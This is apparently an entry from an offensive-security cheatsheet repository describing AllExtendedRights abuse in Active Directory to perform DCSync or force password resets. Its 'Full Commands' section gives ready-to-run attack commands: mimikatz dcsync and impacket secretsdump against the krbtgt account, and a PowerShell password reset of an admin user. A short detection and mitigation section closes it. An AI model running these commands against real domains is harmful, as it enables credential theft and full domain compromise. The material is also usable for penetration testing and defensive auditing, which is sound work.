repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-24-allextendedrights-dcsync-ace-abuse.mdMarkdown104 lines4.2 KiBsource raw download

title: "Attack #24 โ€” AllExtendedRights DCSync ACE Abuse" description: "AllExtendedRights is a blanket permission that grants every extended right on an AD object. When applied to the domain root object, this includes the twoโ€ฆ" category: active-directory subcategory: "ACL Abuse" tags: ["active-directory", "credential-access", "delegation"] tools: ["Impacket", "Mimikatz", "BloodHound", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Three/๐ŸŸก Attack #24 โ€” AllExtendedRights DCSync ACE Abuse.md"#

๐ŸŸก Attack #24 โ€” AllExtendedRights / DCSync ACE Abuse#


๐Ÿ“– How It Works#

AllExtendedRights is a blanket permission that grants every extended right on an AD object. When applied to the domain root object, this includes the two critical replication rights: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All โ€” which is everything needed for DCSync. Unlike WriteDACL (where you ADD new ACEs), AllExtendedRights means you already have the DCSync permission implicitly โ€” you can immediately run DCSync without any DACL modification.

This permission is also dangerous on user objects, where it grants User-Force-Change-Password (password reset) and User-Change-Password among other extended rights.

AllExtendedRights Impact by Target#

Target Extended Rights Granted Impact
Domain root object DS-Replication-Get-Changes + All Immediate DCSync capability
User object User-Force-Change-Password Password reset without knowing current password
Computer object Various Read LAPS password, modify delegation
Any object All extended rights for that object class Full extended right access

โš™๏ธ Prerequisites#

Requirement Detail
AllExtendedRights on domain root For DCSync โ€” check via BloodHound or PowerView
Domain user account The principal with AllExtendedRights

๐Ÿ’ป Full Commands#

๐Ÿ”ต Enumerate AllExtendedRights#

# โ”€โ”€ Find who has AllExtendedRights on the domain root โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | 
  Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" -and 
    $_.ObjectAceType -eq "00000000-0000-0000-0000-000000000000" } |
  ForEach-Object { 
    $_ | Add-Member -NotePropertyName Principal -NotePropertyValue (
      Convert-SidToName $_.SecurityIdentifier
    ) -PassThru
  } | Select-Object Principal, ActiveDirectoryRights
# ObjectAceType of all zeros = AllExtendedRights

๐Ÿ”ด Immediate DCSync (No ACL Modification Needed)#

# โ”€โ”€ If you have AllExtendedRights on domain root, just DCSync โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# โ”€โ”€ Linux โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt
# This works directly because AllExtendedRights = has replication rights

๐Ÿ”ด AllExtendedRights on User โ†’ Password Reset#

Set-DomainUserPassword -Identity targetadmin -AccountPassword (
  ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
)

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4662 Security Log (DC) Replication rights used โ€” same as DCSync detection
4724 Security Log (DC) Password reset (if used on user objects)

๐Ÿ”— Attack Chain Context#

[AllExtendedRights] โ”€โ”€โ†’ Immediate DCSync or Password Reset
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿฉธ On domain root โ†’ DCSync without any ACL modification
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ On user โ†’ password reset
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Differs from WriteDACL: no need to ADD rights, you already HAVE them
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: audit who has AllExtendedRights, limit to legitimate accounts

โœ… Attack #24 โ€” AllExtendedRights Abuse complete.